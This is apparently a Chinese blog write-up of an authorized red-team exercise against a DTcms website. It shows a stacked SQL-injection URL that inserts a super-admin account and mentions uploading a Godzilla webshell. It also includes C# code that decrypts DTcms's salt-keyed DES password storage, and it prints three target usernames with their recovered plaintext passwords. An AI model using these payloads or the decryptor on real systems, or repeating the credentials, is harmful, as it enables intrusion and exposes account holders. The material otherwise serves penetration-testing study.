记录一次攻防演练中的代码审计

VSole2023-02-16 09:22:08

在一次授权的攻防项目中,我和我的一个好兄弟在渗透过程中发现一个目标存在mssql注入,通过注入拿到了管理员的账号和密码

当时我和我的好兄弟高兴坏了,迫不及待的把拿到的数据进行解密(当时天真认为可以解密,马上getshell)由于是攻防演练,并且报告提交的越早分数就会越高,何况还是getshell

erui/E7B8D79CB1F8267E98411A1081B75FBD
admin/154A70BBAD1377B256671E16CAF430ED
lchh/262BA2BFC886B171B5488CA6E9F25BB8

结果发现根本解不出,后来发现原来是加盐MD5,想着先把盐值找到或许就能有一线突破

最终找到的盐值和账号对应如下:
erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ
admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84

当时我和我兄弟在这里卡了半天,甚至是去网上搜索加盐md5的破解,后面发现根本解不出来

第二天

我和兄弟那一晚上一夜未眠,想着各种法子去解密,网上各种办法,各种脚本都试了一遍,发现完全不行,突然一下有个念头一下子出来了,在上一次的攻防演练中,也是mssql注入,当时可以通过堆叠注入,自己插入一条数据,于是我们开始整理思路思路如下

思路一

通过堆叠注入插入一条数据,直接登录(但是要自己找到一条加盐Md5)搭建这个cms搭建起来,自己创建一个管理员账号,然后插入进去

思路二

找到对应的cms或者是网站源码,代码审计,试图找到加密流程或者是其他有用信息

尝试思路

通过mssql注入的报错信息可以判断出为dtcms,于是我迫不及待的去github搜罗了一番,找到了其源码,首先想到的搭建起来这个cms,由于对net环境的不熟悉,加上搭建后各种报错,(让我抑郁了很久)继续信息收集,发现源代码下面有个SQL文件,进去搜索找到一条加密的数据,并且前期信息收集到dtcms的默认密码是admin888于是开始行动

全局搜索salt

INSERT [dbo].[dt_manager] ([id], [role_id], [role_type], [user_name], [password], [salt], [avatar], [real_name], [telephone], [email], [is_audit], [is_lock], [add_time]) VALUES (1, 1, 1, N'admin', N'87FA6AD6CBFDF3108E4DD6F47F5D04A4', N'24V0XZ', N'', N'超级管理员', N'13800138000', N'info@dtcms.net', 0, 0, CAST(0x0000A73C00E1AC44 AS DateTime))SET IDENTITY_INSERT [dbo].[dt_manager] OFF
插入payload如下:
https://url?id=1;insert into dt_manager(role_id,role_type,father_id,user_name,password,salt,is_lock) values(1,1,0,'test','87FA6AD6CBFDF3108E4DD6F47F5D04A4','24V0XZ',0);-- +
插入的账号为test 密码是admin888

登录账号

登录成功发现,权限为超级管理员,然后getshell(在某篇文章看到)文件上传类型添加aspx,ashx,然后上传相应的哥斯拉马,直连即可

最后我和我兄弟成功将这个站点拿下但是内心感觉还是空空的,先提交报告吧

第三天

我和兄弟越想越不舒服,我们思路二还没试过呢,如果我们可以解密这个加密数据,是不是以后遇到类似的站点,假如不存在堆叠注入,岂不是不能插入数据,不行,必须得试一下,于是开始代码审计

.net基本知识

.ashx一般是网页文件。.cs文件一般是后台逻辑代码

目前已有的数据

erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ

admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ

lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84

代码审计

在DTcms.Web中找到login.aspx.cs。通过调用manager类中的GetModel方法来判断是否登录成功

ps:这里BLL.manager()中BLL是一个命名空间。我们可以通过BLL这个名字在DTcms.BLL文件夹中找到manager.cs

接着在manager类中的GetModel方法中,发现在登录的时候会先从数据库中获得这个用户的盐值,然后根据输入的密码与盐值调用DESEncrypt.Encrypt(password, salt)进行加密。后来知道了这里DESEncrypt是一个类,Encrypt是一个静态函数,所以可以直接调用

接着我们审计DESEncrypt中的Encrypt方法。在文件夹中搜索DESEncrypt,最终在DTcms.Common中找到了DESEncrypt类。加解密流程逻辑代码不需要细看,只需要知道就是传入密文和盐值调用Decrypt函数即可得到明文。

源码如下

using System;using System.Security.Cryptography;using System.Text;namespace DTcms.Common{
    /// <summary>
    /// DES加密/解密类。
    /// </summary>
    public class DESEncrypt
    {
        #region ========加密========
        /// <summary>
        /// 加密
        /// </summary>
        /// <param name="Text"></param>
        /// <returns></returns>
        public static string Encrypt(string Text)
        {
            return Encrypt(Text, "DTcms");
        }
        /// <summary> 
        /// 加密数据 
        /// </summary> 
        /// <param name="Text"></param> 
        /// <param name="sKey"></param> 
        /// <returns></returns> 
        public static string Encrypt(string Text, string sKey)
        {
            DESCryptoServiceProvider des = new DESCryptoServiceProvider();
            byte[] inputByteArray;
            inputByteArray = Encoding.Default.GetBytes(Text);
            des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
            des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
            System.IO.MemoryStream ms = new System.IO.MemoryStream();
            CryptoStream cs = new CryptoStream(ms, des.CreateEncryptor(), CryptoStreamMode.Write);
            cs.Write(inputByteArray, 0, inputByteArray.Length);
            cs.FlushFinalBlock();
            StringBuilder ret = new StringBuilder();
            foreach (byte b in ms.ToArray())
            {
                ret.AppendFormat("{0:X2}", b);
            }
            return ret.ToString();
        }
        #endregion
        #region ========解密========
        /// <summary>
        /// 解密
        /// </summary>
        /// <param name="Text"></param>
        /// <returns></returns>
        public static string Decrypt(string Text)
        {
            return Decrypt(Text, "DTcms");
        }
        /// <summary> 
        /// 解密数据 
        /// </summary> 
        /// <param name="Text"></param> 
        /// <param name="sKey"></param> 
        /// <returns></returns> 
        public static string Decrypt(string Text, string sKey)
        {
            DESCryptoServiceProvider des = new DESCryptoServiceProvider();
            int len;
            len = Text.Length / 2;
            byte[] inputByteArray = new byte[len];
            int x, i;
            for (x = 0; x < len; x++)
            {
                i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
                inputByteArray[x] = (byte)i;
            }
            des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
            des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
            System.IO.MemoryStream ms = new System.IO.MemoryStream();
            CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
            cs.Write(inputByteArray, 0, inputByteArray.Length);
            cs.FlushFinalBlock();
            return Encoding.Default.GetString(ms.ToArray());
        }
        #endregion
    }}

接着我们抄下DESEncrypt类中的解密代码进行解密。注意这里得using System.Web,要引用System.Web.dll这个文件才能运行代码。代码段如下:

payload

using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks;using System.Security.Cryptography;using System.Text;using System.Web;namespace ConsoleApp1{
    class Program
    {
        public static string Decrypt(string Text, string sKey)
        {
            DESCryptoServiceProvider des = new DESCryptoServiceProvider();
            int len;
            len = Text.Length / 2;
            byte[] inputByteArray = new byte[len];
            int x, i;
            for (x = 0; x < len; x++)
            {
                i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
                inputByteArray[x] = (byte)i;
            }
            des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
            des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
            System.IO.MemoryStream ms = new System.IO.MemoryStream();
            CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
            cs.Write(inputByteArray, 0, inputByteArray.Length);
            cs.FlushFinalBlock();
            return Encoding.Default.GetString(ms.ToArray());
        }
        static void Main(string[] args)
        {
            System.Console.WriteLine(Program.Decrypt("E7B8D79CB1F8267E98411A1081B75FBD", "24V0XZ"));
            System.Console.WriteLine(Program.Decrypt("154A70BBAD1377B256671E16CAF430ED", "42V8XZ"));
            System.Console.WriteLine(Program.Decrypt("262BA2BFC886B171B5488CA6E9F25BB8", "J6ZT84"));
        }
    }}

最终得到明文

erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ lina790419
admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ asdfghjk1
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84 sunlue2009

总结

通过这次攻防再一次加深了代码审计的重要性,有时候就是一个突破点,还有就是和兄弟在审计中遇到的困难,一次次被突破,那种感觉真的很爽!!

stringsystem
本作品采用《CC 协议》,转载必须注明作者和本文链接
前段时间Confluence发布了CVE-2021-26085补丁,刚好之前分析过Confluence的漏洞,免去了搭建漏洞分析环境的麻烦,因此分析下这个漏洞。 分析过程 漏洞点定位 这个漏洞爆出来已经有一段时间了,所以已经有公开的POC了
记一次APP登录爆破
2022-08-05 15:14:01
前言某次攻防演练中,在前期信息收集的时候找到了一款客户销售APP,没有注册接口,通过收集目标APP的内部员工手机号,对其进行口令爆破。
STATEMENT声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
协议分析实战
2022-08-18 16:56:24
协议分析是逆向技术中的一个重要技能,本篇文章先分享3个app。这里我打算搜索post请求中的v2/member,和"system_name"。然后看这个device_id就是表示手机的串号:是这样声明的:就是返回手机的型号,没有什么好说的。然后下一个就是本机IP地址,还有时间timestamp,siteid站点标识符定值10001,系统名称system_name,型号type是Android的。这样的话第一个app的协议字段到此就分析完了。第二个app:我输入的用户名是kanxue,密码是kanxue123。
初识Java反序列化
2022-06-10 08:49:49
研究某产品反序列化EXP时,搜集到的POC只有一段16进制字节序列难以利用,遂有下文对Java序列化和反序列化的学习。 大致内容如下: 序列化和反序列化示例 序列化数据组成解构 反序列化漏洞形成原理
近日,奇安信威胁情报中心注意到外国安全厂商humansecurity在外网揭露了一个名为BADBOX的事件,其报告称观察到至少观察到74000 部基于 Android 的手机、平板电脑、和全球联网电视盒有遭遇BADBOX 感染的迹象;而来自趋势科技的说法是该后门据信被植入了2000万数量级别的设备。实际上,humansecurity在其分析报告中已经对该事件进行了比较详细的技术分析,各位如果有兴
Fastjson 是阿里巴巴公司开源的一款 json 解析器,其性能优越,被广泛应用于各大厂商的 Java 项目中。fastjson 于 1.2.24 版本后增加了反序列化白名单,而在 1.2.48 以前的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。
Fastjson 是阿里巴巴公司开源的一款 json 解析器,其性能优越,被广泛应用于各大厂商的 Java 项目中。fastjson 于 1.2.24 版本后增加了反序列化白名单,而在 1.2.48 以前的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。 在进行fastjson的漏洞复现学习之前需要了解几个概念,如下:
VSole
网络安全专家